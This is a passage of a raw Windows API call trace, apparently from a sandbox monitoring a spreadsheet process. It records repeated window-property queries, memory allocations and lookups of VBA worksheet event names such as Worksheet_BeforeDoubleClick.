nIndex=-6) returned 0x7fef2470000 [0235.595] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0235.595] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0235.595] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0235.595] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0235.595] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0235.595] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0235.595] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0235.595] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0235.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x71da850 [0235.596] IMalloc:Free (This=0x7feffc15380, pv=0x71da850) [0235.933] GetAsyncKeyState (vKey=27) returned 0 [0235.933] GetCurrentThreadId () returned 0x8fc [0235.933] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0235.933] GetDesktopWindow () returned 0x10010 [0235.933] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0235.933] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0235.933] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0235.933] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0235.933] GetWindowLongPtrA (hWnd=0x170168, nIndex=-6) returned 0x7feef2c0000 [0235.933] GetWindowLongPtrA (hWnd=0x170168, nIndex=-6) returned 0x7feef2c0000 [0235.933] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0235.933] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0235.933] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0235.933] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0235.934] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0235.934] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0235.934] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0235.935] IsWindowEnabled (hWnd=0x202b0) returned 0 [0235.935] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0235.935] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0235.935] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0235.935] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0235.935] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0235.935] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0235.935] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0235.935] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0235.935] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0235.935] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0235.936] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0235.936] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0235.936] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0235.936] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0235.936] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24acc70 [0235.936] IMalloc:Free (This=0x7feffc15380, pv=0x24acc70) [0239.063] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x86000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x86000000c0) returned 0x0 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0239.063] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0239.063] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0239.063] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0239.064] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0239.065] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0239.065] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0239.065] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0239.084] GetCurrentThreadId () returned 0x8fc [0239.084] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0239.084] GetDesktopWindow () returned 0x10010 [0239.084] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0239.084] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0239.084] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0239.084] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0239.084] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0239.084] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0239.084] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0239.084] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0239.084] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0239.084] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0239.085] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0239.085] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0239.085] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0239.086] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0239.086] IsWindowEnabled (hWnd=0x202b0) returned 1 [0239.086] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0239.086] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0239.086] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0239.086] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0239.086] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0239.086] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0239.086] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0239.086] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0239.086] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0239.086] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0239.086] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0239.087] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0239.087] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0239.087] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0239.087] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0239.087] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0239.087] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0239.087] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0239.087] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0239.087] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0239.087] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0239.087] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb93400 [0239.088] IMalloc:Free (This=0x7feffc15380, pv=0xbb93400) [0239.489] GetAsyncKeyState (vKey=27) returned 0 [0239.489] GetCurrentThreadId () returned 0x8fc [0239.489] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0239.489] GetDesktopWindow () returned 0x10010 [0239.489] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0239.489] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0239.489] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0239.489] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0239.489] GetWindowLongPtrA (hWnd=0x26028a, nIndex=-6) returned 0x7feef2c0000 [0239.489] GetWindowLongPtrA (hWnd=0x26028a, nIndex=-6) returned 0x7feef2c0000 [0239.489] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0239.489] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0239.489] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0239.490] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0239.490] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0239.490] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0239.490] IsWindowEnabled (hWnd=0x202b0) returned 0 [0239.491] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0239.491] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0239.491] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0239.491] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0239.491] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0239.491] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0239.491] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0239.491] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0239.491] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0239.491] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0239.491] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0239.491] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0239.492] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0239.492] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0239.492] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb92ee0 [0239.492] IMalloc:Free (This=0x7feffc15380, pv=0xbb92ee0) [0242.703] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0242.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0242.703] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0242.703] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0242.703] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0242.911] GetCurrentThreadId () returned 0x8fc [0242.911] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0242.911] GetDesktopWindow () returned 0x10010 [0242.912] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0242.912] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0242.912] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0242.912] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0242.912] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0242.912] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0242.912] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0242.912] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0242.913] IsWindowEnabled (hWnd=0x202b0) returned 1 [0242.913] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0242.913] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0242.913] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0242.913] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0242.913] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0242.913] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0242.913] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0242.913] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0242.913] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0242.914] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0242.914] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0242.914] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0242.914] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0242.914] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0242.914] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0242.914] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0242.914] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0242.914] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe190e0 [0242.914] IMalloc:Free (This=0x7feffc15380, pv=0xbe190e0) [0243.440] GetAsyncKeyState (vKey=27) returned 0 [0243.440] GetCurrentThreadId () returned 0x8fc [0243.440] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0243.440] GetDesktopWindow () returned 0x10010 [0243.440] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0243.440] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0243.440] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0243.440] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0243.440] GetWindowLongPtrA (hWnd=0x1d0118, nIndex=-6) returned 0x7feef2c0000 [0243.440] GetWindowLongPtrA (hWnd=0x1d0118, nIndex=-6) returned 0x7feef2c0000 [0243.440] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0243.440] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0243.440] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0243.440] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0243.440] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0243.441] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0243.441] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0243.441] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0243.441] IsWindowEnabled (hWnd=0x202b0) returned 0 [0243.441] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0243.441] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0243.441] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0243.442] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0243.442] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0243.442] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0243.442] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0243.442] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0243.442] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0243.442] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0243.442] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0243.442] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0243.442] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0243.442] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0243.442] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x71dc2f0 [0243.443] IMalloc:Free (This=0x7feffc15380, pv=0x71dc2f0) [0246.529] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0246.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0246.529] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0246.529] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0246.529] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0246.548] GetCurrentThreadId () returned 0x8fc [0246.548] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0246.548] GetDesktopWindow () returned 0x10010 [0246.548] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0246.548] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0246.548] GetWindowLongPtrA 